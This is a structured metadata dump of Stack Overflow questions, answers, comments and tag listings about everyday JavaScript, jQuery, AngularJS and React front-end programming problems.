has title: How to remove the br tag from the end of a string
has answer: http://stackoverflow.com/a/25599597
upvote count: 2
score: 0
downvote count: 2
has comment: http://stackoverflow.com/comment/64424065
answer count: 7
linked to: http://stackoverflow.com/q/2145988
accepted answer: http://stackoverflow.com/a/25599859
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25600188
has comment: http://stackoverflow.com/comment/39987736
has answer: http://stackoverflow.com/a/25599744

http://stackoverflow.com/q/25646502
tagged with: reactjs
upvote count: 87
answer count: 5
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25647392
linked to: http://stackoverflow.com/q/28329382
has answer: http://stackoverflow.com/a/40381127
has answer: http://stackoverflow.com/a/46705730
has comment: http://stackoverflow.com/comment/40073243
linked to: http://stackoverflow.com/q/5501581
type: AnsweredQuestion
has body: I've written some code to render repeating elements in ReactJS, but I hate how ugly it is. render: function(){ var titles = this.props.titles.map(function(title) { return {title} ; }); var rows = this.props.rows.map(function(row) { var cells = []; for (var i in row) { cells.push( {row[i]} ); } return {cells} ; }); return ( {titles} {rows} ); } Is there a better way to achieve this? (I would like to embed for loops within the template code, or some similar approach.)
linked to: http://stackoverflow.com/q/22876978
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/51359938
has comment: http://stackoverflow.com/comment/68014203
has answer: http://stackoverflow.com/a/25652145
type: Question
score: 87
possible better answer: http://stackoverflow.com/a/51359938
has title: How can I render repeating React elements?
has comment: http://stackoverflow.com/comment/40073382
has answer: http://stackoverflow.com/a/25647392

http://stackoverflow.com/a/25651853
has body: You have several problems: You bound your click handler to the div, when you meant to bind it to the button. The loadContent() function isn't available from the global context. Because you included jQuery, all the javascript gets created in local context. Take a look at the source generated by jsfiddle, and you'll see what I mean. You're trying to execute a cross-domain Ajax load, which isn't generally allowed. You should try this for your javascript instead... $('#btn').click( function() { $('#result').load('/gal007/m44cqzrb/show/'); }); And change your HTML to get rid of the inline JS... Load That'll work.
upvote count: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25651570
answers question: http://stackoverflow.com/q/25651570
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40083325

http://stackoverflow.com/comment/39934086
score: 0
type: Comment
type: QuestionComment
has text: I've had problems like this also. Fix was to ensure each template has a single top level item, and no whitespace outside of it - ie: ` `
comment on: http://stackoverflow.com/q/25569515

http://stackoverflow.com/comment/40031273
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25622584
type: QuestionComment
has text: Ilya: The reason why I set the css in the javascript is because the cursor shouldn't change if the javascript is not applied to the table.

http://stackoverflow.com/q/25679557
has comment: http://stackoverflow.com/comment/40135255
downvote count: 0
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40133996
has comment: http://stackoverflow.com/comment/40136751
type: Question
has title: how to show Warning message when user leaves the page without submitting the form
has body: Good day I want to show the warning message when user leaves the page with out submitting the form warning message should also be shown when user refreshes the page by pressing F5 I have done When user presses F5 it shows warning message $(function () { $(document).keydown(function (e) { if ((e.which || e.keyCode) == 116) { var FlagVal = $("#IsCaseInfoChanged").val(); return "You have not saved your data. Do you really want to leave this page?"; } }); }); And the below code shows warning message 1. Currently for "IE" browser and "Chrome" browser if u don't provide proper URL in address bar than its not giving warning message to user for valid URL its working fine. For Browser like Firefox and Safari its working in both condition. And In Firefox browser it is giving browser specific warning message not our costume message. For other browser it is working fine. how do i resolve it. window.onbeforeunload = function (e) { /* Getting flag value for Browser if it has been set to true or not */ /*if true show warning message*/ var evtobj = window.event ? event : e; if (evtobj == e) { if (!evtobj.clientY) { return "You have not saved your data. Do you really want to leave this page?"; } } }
has comment: http://stackoverflow.com/comment/40133657
has comment: http://stackoverflow.com/comment/40138790
answer count: 1
tagged with: mozilla
has comment: http://stackoverflow.com/comment/40133595
upvote count: 1
has comment: http://stackoverflow.com/comment/40135741
tagged with: google-chrome
has answer: http://stackoverflow.com/a/25682452
linked to: http://stackoverflow.com/q/5398772
has comment: http://stackoverflow.com/comment/40134852
tagged with: javascript
has comment: http://stackoverflow.com/comment/40133761
tagged with: jquery
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40138180
has comment: http://stackoverflow.com/comment/40133988
has comment: http://stackoverflow.com/comment/40135606
has comment: http://stackoverflow.com/comment/40133539

backbone.js
tags question: http://stackoverflow.com/q/25618781
tags question: http://stackoverflow.com/q/25698142
tags question: http://stackoverflow.com/q/25632115
tags question: http://stackoverflow.com/q/25595202
tags question: http://stackoverflow.com/q/25701545
tags question: http://stackoverflow.com/q/25626530
tags question: http://stackoverflow.com/q/25693693
tags question: http://stackoverflow.com/q/25631599
tags question: http://stackoverflow.com/q/25673036
tags question: http://stackoverflow.com/q/25686434
tags question: http://stackoverflow.com/q/25614259
tags question: http://stackoverflow.com/q/25558618
tags question: http://stackoverflow.com/q/25674556
tags question: http://stackoverflow.com/q/25674818
tags question: http://stackoverflow.com/q/25690594
tags question: http://stackoverflow.com/q/25666850
tags question: http://stackoverflow.com/q/25692760
tags question: http://stackoverflow.com/q/25607193
tags question: http://stackoverflow.com/q/25676573
tags question: http://stackoverflow.com/q/25576603
tags question: http://stackoverflow.com/q/25642754
tags question: http://stackoverflow.com/q/25594860
tags question: http://stackoverflow.com/q/25698387
tags question: http://stackoverflow.com/q/25571164
tags question: http://stackoverflow.com/q/25578670
tags question: http://stackoverflow.com/q/25570280
tags question: http://stackoverflow.com/q/25600386
tags question: http://stackoverflow.com/q/25579029
tags question: http://stackoverflow.com/q/25666320
tags question: http://stackoverflow.com/q/25707437
tags question: http://stackoverflow.com/q/25572035
tags question: http://stackoverflow.com/q/25552348
tags question: http://stackoverflow.com/q/25691968
tags question: http://stackoverflow.com/q/25557779
tags question: http://stackoverflow.com/q/25652413
tags question: http://stackoverflow.com/q/25552298
tags question: http://stackoverflow.com/q/25609806
tags question: http://stackoverflow.com/q/25614023
tags question: http://stackoverflow.com/q/25703887
tags question: http://stackoverflow.com/q/25590757
tags question: http://stackoverflow.com/q/25706154
tags question: http://stackoverflow.com/q/25678445
tags question: http://stackoverflow.com/q/25656869
tags question: http://stackoverflow.com/q/25571947
tags question: http://stackoverflow.com/q/25574739
type: Tag
tags question: http://stackoverflow.com/q/25597402
tags question: http://stackoverflow.com/q/25708701
tags question: http://stackoverflow.com/q/25578112
tags question: http://stackoverflow.com/q/25617794
tag name: backbone.js

http://stackoverflow.com/q/25655047
type: Question
has title: How to get the url on the magnific popup API on open event?
tagged with: javascript
score: 0
accepted answer: http://stackoverflow.com/a/25670215
answer count: 1
tagged with: jquery
tagged with: callback
tagged with: magnific-popup
type: AnsweredQuestion
has body: How can I get the url being opened with the Magnific popup API? I want to add it the window.location.hash in the open event callback: Lorem ipsum $('.mfp').magnificPopup({ callbacks: { open: function() { var url = this.url window.location.hash += '-'+url } } }); I tried using this.url but no luck.
has answer: http://stackoverflow.com/a/25670215

http://stackoverflow.com/q/25651204
tagged with: jquery
has body: I want to prevent multiple form submissions, but I need to have the value of the submit element posted back to the server (so that I know which button the user clicked on). Most of the Internet Wisdom concerning suppression of multiple form submissions seems to involve disabling the submit button during form submission. This prevents the button from being clicked a second time, but also prevents its value from being posted. I've found a few examples of JS code that hides the submit button(s), which allows their values to be posted. But those examples all replace the (now hidden) button with some sort of "processing..." message. I really want a solution that presents the user with a disabled button but still posts the button value. I should add that I'd prefer a solution that works with standard HTML one would find in most forms. No magic IFrames, hidden fields, id or class names, etc. I want a JS function I can stash away in a library and reference from all of my existing forms to enable this new behavior. (I have a solution, which I will post as an answer. But I had to ask the question to comply with the Zen of SO.)
favorite count: 0
has title: Disable button on form submission but post button value
has answer: http://stackoverflow.com/a/67842287
answer count: 9
has answer: http://stackoverflow.com/a/25651349
has answer: http://stackoverflow.com/a/63322641
has answer: http://stackoverflow.com/a/68053815
has comment: http://stackoverflow.com/comment/40082545
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40082373
score: 10
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25652324
has answer: http://stackoverflow.com/a/25652324
has answer: http://stackoverflow.com/a/25651260
type: Question
has answer: http://stackoverflow.com/a/25652556
has answer: http://stackoverflow.com/a/48442914
has comment: http://stackoverflow.com/comment/40081845
tagged with: javascript
tagged with: forms
upvote count: 10
accepted answer: http://stackoverflow.com/a/25651260
has answer: http://stackoverflow.com/a/56761100
downvote count: 0

http://stackoverflow.com/comment/39923487
comment on: http://stackoverflow.com/a/25564789
has text: That means that $scope.myform.value is not defined, it will be if its bound correctly. did you replace the 'id' with ng-model? or bind? can you create a js fiddle or a code pen? else just paste your latest code
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25579340
has comment: http://stackoverflow.com/comment/39955757
type: UnansweredQuestion
has body: I'm using the google map api and the following code is code I'm using to move the marker as the coordinates are being updated from my server and stored in variables I'm calling Longitude and Latitude. The coordinates from my server are being updated from my phone as I move. So I'm trying to create a tracker basically. I've used map.setCenter(latlng); to reduce page refreshes and I think that may have worked but as the marker is set with a new position based on the coordinates sent from the server which is a constant thing, the page still flickers a lot. What I want is for the map to do something like this: http://jsfiddle.net/bmSbU/268/ but using each new coordinate it's updated with from the Longitude and Latitude variables below that are updated with new coordinates from my server which come from my phone. I'm trying to smoothly track my position. I would greatly appreciate it if someone could help. Latitude = //constantly updated from server and contains latitude of my smart phone Longitude = //constantly updated from server and contains longitude of my smart phone google.maps.visualRefresh = true; /*I start with some random coordinates other than the ones I'm getting from my server as I felt maybe having coordinates that are different from the ones coming from my server will allow for me to update with the new coordinates and see a difference */ var myLatlng = new google.maps.LatLng(34.156736,-118.436439); var mapOptions = { zoom: 15, center: myLatlng, mapTypeControl: true, mapTypeControlOptions: { style: google.maps.MapTypeControlStyle.HORIZONTAL_BAR, position: google.maps.ControlPosition.BOTTOM_CENTER }, panControl: true, panControlOptions: { position: google.maps.ControlPosition.TOP_RIGHT }, zoomControl: true, zoomControlOptions: { style: google.maps.ZoomControlStyle.LARGE, position: google.maps.ControlPosition.LEFT_CENTER }, scaleControl: true, streetViewControl: true, streetViewControlOptions: { position: google.maps.ControlPosition.LEFT_TOP } } var map = n…
has comment: http://stackoverflow.com/comment/39952305
answer count: 0
linked to: http://stackoverflow.com/q/25534584
type: Question
has title: How can I get my google map to move my marker without flickering or page refreshes
tagged with: javascript
tagged with: google-maps-api-3
score: 0
duplicate of: http://stackoverflow.com/q/25534584

http://stackoverflow.com/q/25682379
has comment: http://stackoverflow.com/comment/40138041
has answer: http://stackoverflow.com/a/61473094
favorite count: 0
has comment: http://stackoverflow.com/comment/40138085
upvote count: 5
has answer: http://stackoverflow.com/a/53207227
tagged with: animation
has answer: http://stackoverflow.com/a/70600708
answer count: 4
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/40138106
possible better answer: http://stackoverflow.com/a/61473094
has comment: http://stackoverflow.com/comment/40166389
tagged with: fade
has title: Fade in element by setting opacity with Javascript
type: Question
has body: I have decided to create a fade in animation effect using vanilla javascript. This is the code for my fade in effect: document.querySelector('.open-1_1').onclick = function() { document.getElementById('about-frame').style.display = 'block'; for (opacity = 0; opacity &lt; 1.1; opacity = opacity + 0.1) { setTimeout(function(){document.getElementById('about').style.opacity = opacity;},100) } }; What I am trying to do is incrementally increasing the opacity of the #about div from 0 to 1 by running through a for loop which is supposed to wait 100 miliseconds for every iteration of the loop However the #about div goes from dark to opacity 1 after a set time without seeing the fade in effect. What is wrong with my logic?
score: 5
has answer: http://stackoverflow.com/a/25682672
accepted answer: http://stackoverflow.com/a/25682672
tagged with: javascript

http://stackoverflow.com/a/25581694
has comment: http://stackoverflow.com/comment/39955485
has comment: http://stackoverflow.com/comment/39955680
answers question: http://stackoverflow.com/q/25581644
accepted answer of: http://stackoverflow.com/q/25581644
type: AcceptedAnswer
upvote count: 6
type: Answer
has body: Say like below: $('.gets').change(function(){ var value = $(this).val(); $('.gets').not(this).find('option[value="'+value+'"]').hide(); }) DEMO If you want to exclude for SELECT option say like below $('.gets').change(function(){ var value = $(this).val(); if(value!=0) $('.gets').not(this).find('option[value="'+value+'"]').hide(); })
score: 6
downvote count: 0

http://stackoverflow.com/q/25587876
upvote count: 1
accepted answer: http://stackoverflow.com/a/25587905
type: Question
tagged with: javascript
answer count: 1
downvote count: 0
favorite count: 0
has body: // I don't understand why this is not working y = 'window'; var x = { y : 'x', func : function(){ return function(){ return this.y } } }; x.func()(); // when I execute x.func()() I understand why it should return y // x.func() would return a function in the global context and then execute it ' should return 'window' ' y = 'window' var x = { y : 'x', func : function(){ return function(){ return this.y }() } }; x.func(); why would this code also return 'window' it is executed inside of the x object
has answer: http://stackoverflow.com/a/25587905
linked to: http://stackoverflow.com/q/9644044
has title: execution context and (( this object ))
has comment: http://stackoverflow.com/comment/39967751
type: AnsweredQuestion
score: 1

http://stackoverflow.com/comment/39949598
comment on: http://stackoverflow.com/a/25578440
score: 0
type: AnswerComment
type: Comment
has text: Sorry. I did not understand. Why are you using a hash instead of a question mark? Hashes are used for anchor tags on pages (linking to the certain parts of a page) and question marks are used to pass variables via the URL.

http://stackoverflow.com/q/25597714
tagged with: safari
has title: Sticky 'back to top' button works in iMac Firefox but not in Safari, Chrome or on Android phone
type: Question
has answer: http://stackoverflow.com/a/25610015
answer count: 1
tagged with: javascript
has body: I read with interest Will Ryan's question of 12 March 2014 at 19:28, as I was having problems with the same "sticky 'back to top' button" tutorial. My button didn't even appear. But I rewrote my code according to the discussion suggestions and got it to work perfectly -- in Firefox, on my iMac. But it won't work in either Safari or Chrome on my iMac, or on my Samsung Galaxy 4GLTE. I checked for errors in the developer tools for Safari and Chrome but they showed none. I thought it might be a Z-index layer problem but my efforts there failed. Here is the site: http://willsoper.net/ Thanks.
score: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: css
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39984709
tagged with: google-chrome

http://stackoverflow.com/q/25613904
tagged with: javascript
has answer: http://stackoverflow.com/a/25614087
answer count: 1
has comment: http://stackoverflow.com/comment/40014088
has comment: http://stackoverflow.com/comment/40014058
favorite count: 0
score: -4
has comment: http://stackoverflow.com/comment/40014071
accepted answer: http://stackoverflow.com/a/25614087
has comment: http://stackoverflow.com/comment/40014179
has comment: http://stackoverflow.com/comment/40014046
has body: Can anyone please explain, why this code prints "whats going on?" if(x=21) 342423 console.log('whats going on?') I had accidentally typed a number next to an if conditional statement, like the above in a program. It was causing a weird side effect that the conditional statement was being short circuited, even if the stuff in the brackets evaluated to false. The annoying thing was it wasn't throwing an interpreter error.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40014196
has title: If statement is being short-circuited by some misplaced code - Why?
has comment: http://stackoverflow.com/comment/40014148
has comment: http://stackoverflow.com/comment/40014087
type: Question
downvote count: 4
has comment: http://stackoverflow.com/comment/40014100
upvote count: 0

http://stackoverflow.com/comment/40187905
type: QuestionComment
comment on: http://stackoverflow.com/q/25708163
has text: WooooooooooooooooooooooW Bro thank you very much this is what I wanted, how did you get that. what this parameter exactly do ??
score: 0
type: Comment

http://stackoverflow.com/comment/40109756
type: Comment
comment on: http://stackoverflow.com/a/25666441
has text: Hi, and how I can correctly run this JS by click on div
type: AnswerComment
score: 0

http://stackoverflow.com/a/25635870
answers question: http://stackoverflow.com/q/25635832
has body: You need to pass the element that is being set as current: $(document).ready(function() { $('#menu-main-menu li').on('click', function(){ changeClass($(this)); }); }); function changeClass(element) { $('#menu-main-menu li').removeClass('current-menu-item'); element.addClass('current-menu-item'); } updated fiddle: http://jsfiddle.net/mw5sgcLn/4/
downvote count: 0
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/q/25696607
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40201719
answer count: 0
has title: using ajax in chrome extension without delay
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/40201048
type: Question
has body: Concerning this flow logic from here Chrome Extension how to send data from content script to popup.html A content script is injected into each page matching some criteria. Once injected, the content scripts send a message to the event page (non-persistent background page) and the event page attaches a page=action to the tab. As soon as the page-action popup is loaded, it sends a message to the content script, asking for the info it needs. The content script processes the request, and responds so the page-action popup can display the info. I suspect there will be a delay if the popup.js is triggered, because my ajax call is in content scripts. How to ensure there is no delay in using ajax in chrome extension?
tagged with: javascript
has comment: http://stackoverflow.com/comment/40193154
score: 0
has comment: http://stackoverflow.com/comment/40201971
has comment: http://stackoverflow.com/comment/40168700
linked to: http://stackoverflow.com/q/20019958
tagged with: google-chrome-extension
upvote count: 1
has comment: http://stackoverflow.com/comment/40192963
downvote count: 1
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/40191719

http://stackoverflow.com/a/25661890
type: Answer
answers question: http://stackoverflow.com/q/25661414
has comment: http://stackoverflow.com/comment/40102293
has body: My best guess is that one (or more) of your strings contains a character (such as the apostrophe) which breaks the PHP output. Still the best solution was already prosposed by Passery in your comments section: echo '&lt;script&gt;'; echo 'var s = ' . json_encode($info); echo '&lt;/script&gt;';
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25661414

http://stackoverflow.com/a/25602572
answers question: http://stackoverflow.com/q/25602537
has body: Try this. while (test != word1 &amp;&amp; test != word2 &amp;&amp; test != word3) { var test = prompt(); }
score: 0
type: Answer

http://stackoverflow.com/a/25706331
upvote count: 3
has body: Angular Team stated this issue in the documentation for ngSelect here: Note: ngModel compares by reference, not value. This is important when binding to an array of objects. See an example in this jsfiddle. $scope.options = [ { label: 'one', value: 1 }, { label: 'two', value: 2 } ]; // Although this object has the same properties as the one in $scope.options, // Angular considers them different because it compares based on reference $scope.incorrectlySelected = { label: 'two', value: 2 }; // Here we are referencing the same object, so Angular inits the select box correctly $scope.correctlySelected = $scope.options[1];
has comment: http://stackoverflow.com/comment/40182431
score: 3
answers question: http://stackoverflow.com/q/25706292
downvote count: 0
has comment: http://stackoverflow.com/comment/40183070
type: Answer

http://stackoverflow.com/comment/39962257
comment on: http://stackoverflow.com/q/25585414
score: 0
has text: @LucasTrzesniewski `mouseenter` and `mouseleave` are not exclusive of jQuery. Some old browsers don't support it natively, though.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25712224
answer count: 1
accepted answer: http://stackoverflow.com/a/25712357
has comment: http://stackoverflow.com/comment/40193122
tagged with: jquery
has comment: http://stackoverflow.com/comment/40193294
has title: How to wait for meta-tag "user-scalable=no" being ready on Android?
tagged with: android
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/40193321
tagged with: mobile
tagged with: javascript
has body: I noticed a strange behaviour on my HTC One Android Phone with mobile Firefox: In the HTML-Header I set &lt;meta name="viewport" content="user-scalable=no, width=device-width, initial-scale=1, maximum-scale=1"&gt; But it seems like it takes a little time before this option really applies. I call the following code on $(document).ready(…) : alert($(document.body).width()); setTimeout(function(){ alert($(document.body).width()); },1000); Now, the first and second alert-box show different widths! The first one is greater and corresponds to the width as if i had not set the meta tag – the second one is finally the correct width. When I call the code at body.onload="…" instead, both alerts show the same value. Is this a bug? Or is there a way to prevent this delay?
has answer: http://stackoverflow.com/a/25712357
score: 0

http://stackoverflow.com/comment/40193940
has text: But it's again.. I need to assign this vars looping through each of dep.
comment on: http://stackoverflow.com/a/25711790
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25612052
linked to: http://stackoverflow.com/q/3387427
has title: Keep button from decrementing a number after 1st use with Javascript
tagged with: javascript
type: Question
score: 0
has comment: http://stackoverflow.com/comment/40010612
tagged with: decrement
answer count: 1
has body: I'm trying to keep track of the number of items a user has clicked on by removing one from the counter span using a basic JS function. I have to keep track of anywhere between 5 to 10 items so each time the button is clicked I am removing one from the div span that keeps count. It's working but I do not want it going to negative values. How do I keep the button from removing 1 after it has been used once? Basically, I want the function to only fire once for each button. Here is the codepen as it is now: CODEPEN Here is what I have right now: var currentValue = 9; var add = function(valueToAdd){ currentValue += valueToAdd; document.getElementById('number').innerHTML = currentValue; if (this.currentValue == 0) { alert("YOU ARE AT 0 "); currentValue - 0 } if (!isNaN(currentValue) && currentValue > 0) { // Decrement one currentValue - 1; } else { return false; } }; HTML: Number of items:9 remove only 1 remove only 1 remove only 1 remove only 1 remove only 1 remove only 1 remove only 1 remove only 1 remove only 1
has comment: http://stackoverflow.com/comment/40010666
tagged with: return-value
linked to: http://stackoverflow.com/q/3014649
has answer: http://stackoverflow.com/a/25613042
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40010495
has comment: http://stackoverflow.com/comment/40010701

http://stackoverflow.com/comment/40165864
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25697154
has text: which browser are you using?

http://stackoverflow.com/a/25597543
downvote count: 0
upvote count: 3
type: Answer
has comment: http://stackoverflow.com/comment/39984310
has comment: http://stackoverflow.com/comment/39984330
score: 3
has body: Do it the other way around. If you find someone in the array who is NOT in the object then you return false. If you reach the end of the loop then you return true because all the keys were in the object.
has comment: http://stackoverflow.com/comment/39984399
answers question: http://stackoverflow.com/q/25597530

http://stackoverflow.com/comment/40260948
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25670441
has text: you can just iterate over the array to check.

http://stackoverflow.com/a/25664634
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: A Chrome Extension can stay active even before/after Chrome is launched, unless the user specifically forbids that. Kind of like Google Now operates in recent Chrome versions. For that, you need to declare "background" permission. Makes Chrome start up early and and shut down late, so that apps and extensions can have a longer life. When any installed hosted app, packaged app, or extension has "background" permission, Chrome runs (invisibly) as soon as the user logs into their computer—before the user launches Chrome. The "background" permission also makes Chrome continue running (even after its last window is closed) until the user explicitly quits Chrome. I'm afraid it's not an option for a Chrome App though. The wording in the documentation refers to deprecated legacy app types. See François's answer for a possible solution in Apps.
upvote count: 2
has comment: http://stackoverflow.com/comment/40110289
accepted answer of: http://stackoverflow.com/q/25659595
answers question: http://stackoverflow.com/q/25659595
score: 2

http://stackoverflow.com/comment/40052951
has text: The comment about pollService.then inside my code block was an aside. I had *tried* to call pollService.then inside $document.ready and it was not resolving. Adding return stop resolved that (fairly minor) issue, but the problem is that returning Bars from service through an $interval is not triggering angular's automatic promise resolution
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25634861

cookies
tags question: http://stackoverflow.com/q/25704770
tags question: http://stackoverflow.com/q/25674077
tags question: http://stackoverflow.com/q/25678145
tags question: http://stackoverflow.com/q/25656969
tags question: http://stackoverflow.com/q/25650637
tags question: http://stackoverflow.com/q/25590582
tags question: http://stackoverflow.com/q/25631551
tags question: http://stackoverflow.com/q/25586938
tags question: http://stackoverflow.com/q/25583102
tags question: http://stackoverflow.com/q/25588212
tags question: http://stackoverflow.com/q/25656275
type: Tag
tags question: http://stackoverflow.com/q/25572130
tags question: http://stackoverflow.com/q/25641602
tags question: http://stackoverflow.com/q/25657539
tags question: http://stackoverflow.com/q/25555098
tags question: http://stackoverflow.com/q/25618430
tags question: http://stackoverflow.com/q/25572327
tags question: http://stackoverflow.com/q/25587274
tags question: http://stackoverflow.com/q/25596033
tags question: http://stackoverflow.com/q/25691882
tags question: http://stackoverflow.com/q/25646815
tag name: cookies
tags question: http://stackoverflow.com/q/25627264
tags question: http://stackoverflow.com/q/25557193
tags question: http://stackoverflow.com/q/25686994
tags question: http://stackoverflow.com/q/25645921
tags question: http://stackoverflow.com/q/25710350
tags question: http://stackoverflow.com/q/25624883

http://stackoverflow.com/comment/39952113
comment on: http://stackoverflow.com/q/25578716
score: 0
has text: yes however, what happens when i want to filter a field that isnt in items? I then need to make redundant code just to do the same thing one level less.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25616136
has comment: http://stackoverflow.com/comment/40018182
has comment: http://stackoverflow.com/comment/40018082
has comment: http://stackoverflow.com/comment/40018056
has comment: http://stackoverflow.com/comment/40018062
has body: I have dynamically created forms in my page. So once a checkbox in that form checked I want to post the form using jQuery. I still can't select the form correctly. HTML code: sdfdsfdsfdsfsdfsdfsdfsd tests jQuery code: The alert message always says "undefined" and there are no errors in the console. PHP code: <?php if (!empty($hotel_list)) { foreach ($hotel_list as $htls) { ?> <form id="<?php $htls->name ?>" class="recmndation"> <?php echo $htls->name; ?> <?php if ($rcmnd_list) { foreach ($rcmnd_list as $rcl) { ?> <input class="checkboxes" type="checkbox" name="<?php echo $rcl->rec_name; ?>" /> <?php } } ?> <input type="hidden" name="hotel_id" value="<?php echo $htls->hotel_id; ?>" /> <?php } } ?>
tagged with: http://stackoverflow.com/tag/html
tagged with: php
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40018054
has comment: http://stackoverflow.com/comment/40018122
possible better answer: http://stackoverflow.com/a/25616232
has answer: http://stackoverflow.com/a/25616229
has answer: http://stackoverflow.com/a/25616232
type: Question
accepted answer: http://stackoverflow.com/a/25616229
has title: jQuery selecting dynamic elements
tagged with: javascript
score: 0
answer count: 2
tagged with: jquery

http://stackoverflow.com/comment/40105240
type: Comment
comment on: http://stackoverflow.com/a/25643929
has text: Thank you replying, Lasse. I know how to do this in IE and Firefox. But IE (using **WMI**) its **very slow**; although Firefox its working fine. NPAPI is no longer supported so couldn't find a way in Chrome...many thanks the for Chrome solution.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40036862
has text: I refreshed my browser and I can see that it is working now. That might have been my mistake as I think the browser cache was screwing things up.
comment on: http://stackoverflow.com/q/25625142
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40137037
score: 0
type: AnswerComment
type: Comment
has text: Solid and concrete answer
comment on: http://stackoverflow.com/a/25673496

http://stackoverflow.com/q/25626278
has comment: http://stackoverflow.com/comment/40036986
has comment: http://stackoverflow.com/comment/40095163
has comment: http://stackoverflow.com/comment/40037037
type: Question
upvote count: 2
has body: I am trying to restrict my html editor field to maximum 1000 character , but there is no config option in htmleditor field. And also want to make htmleditor field as mandatory field, for that also no config is available. Is it possible to restrict the htmleditor , and can it be a mandatory field? If it is than please help me in this, please share some code if possible so that i can understand how to do it. I tried enforceMaxLength: true,maxLength: 1000, both property is working fine when user types the content, but user when copy paste the content then is showing more than the count.
tagged with: textarea
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40058406
favorite count: 0
tagged with: extjs
score: 2
answer count: 0
type: UnansweredQuestion
has title: How to restrict maximum length for html editor field in extjs 4

http://stackoverflow.com/q/25652532
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/11401500
downvote count: 1
has comment: http://stackoverflow.com/comment/40084280
type: Question
has comment: http://stackoverflow.com/comment/40084328
has comment: http://stackoverflow.com/comment/40084400
upvote count: 0
has answer: http://stackoverflow.com/a/25652767
has body: So I am trying to add two SVG's on button clicks. I have 2 buttons 'male' and 'female' and with each button an SVG is loaded. At first the male SVG is loaded by default and on click it has to change. This is the HTML Code. &lt;div id="svgDivMale"&gt; &lt;?php include"shirtBasic.svg" ?&gt; &lt;/div&gt; This is how it should look after click. &lt;div id="svgDivFemale"&gt; &lt;?php include"girlShirtSVG.svg" ?&gt; &lt;/div&gt; I have read on other questions on stack overflow that this is not quiet possible through Jquery but there must be some way. Thanks.
tagged with: javascript
tagged with: jquery
has title: How to add a php include statement with JQuery or AJAX
tagged with: ajax
has comment: http://stackoverflow.com/comment/40084299
has comment: http://stackoverflow.com/comment/40084325
answer count: 1
has comment: http://stackoverflow.com/comment/40084253
score: -1
favorite count: 0
tagged with: http://stackoverflow.com/tag/svg
accepted answer: http://stackoverflow.com/a/25652767
has comment: http://stackoverflow.com/comment/40084288
has comment: http://stackoverflow.com/comment/40084593
tagged with: php

http://stackoverflow.com/a/25684599
answers question: http://stackoverflow.com/q/25684499
has comment: http://stackoverflow.com/comment/40143435
has comment: http://stackoverflow.com/comment/40167523
score: 0
type: Answer
has body: I guess, you can do it like that: // Add the list to the body var content_list = json2html.transform(mylist,rule_list); var list = $("&lt;ul /&gt;").attr('id', 'search_list').addClass("listview").html(content_list); $("body").append(list); // Add links $.each($("#search_list").children(), function(i, item) { var link = $("&lt;a /&gt;").attr("href", mylist[i].name.toLowerCase() + ".html"); $(this).append(link); }); The $("#search_list").children() method find all li elements in the list and append the appropriate link.
has comment: http://stackoverflow.com/comment/40144074

http://stackoverflow.com/q/25613371
type: Question
has title: jQuery click anything but link with class
tagged with: css
accepted answer: http://stackoverflow.com/a/25613582
possible better answer: http://stackoverflow.com/a/25613587
has answer: http://stackoverflow.com/a/25613587
score: 0
answer count: 3
has body: I'm having some trouble toggling classes. Updated with js-fiddle When a delete link is clicked a new confirmation link slides into view. If the confirmation-link is also clicked then the table row shall be deleted. If the user clicks anywhere else but this link the link should slide back out of view by toggling the classes delete-btn-show and delete-btn-hide. Hope this clarifies things :) Below is a table listing. Each row has a trash-can icon which opens a div (.delete-btn) by toggling classes. If a delete-btn is visible (has class .delete-btn-show) it should hide itself by toggling classes (delete-btn-show/-hide) if anything else but the link within it is clicked. If the link is clicked it should delete that row. I've managed to show the div but am unable to achieve the desired behaviour. Help is welcome :) (The jQuery is within a document ready function) $('.delete-supplier-link').click(function(){ $(this).parent().parent().find('.delete-btn').toggleClass('delete-btn-show delete-btn-hide'); }); Here is the table structure Some organization Some product or service Some dude Delete D.O.P. 2011-11-12 Some organization Some product or service Some dude Delete D.O.P. 2011-11-12 Some organization Some product or service Some dude Delete D.O.P. 2011-11-12
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25613595
has answer: http://stackoverflow.com/a/25613582
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/a/34019586
type: Answer
has body: It's a little hacky, but I am passing variables to an ng-include with an ng-repeat of an array containing a JSON object : In your include page you can access your variable like this: {{pass.text}}
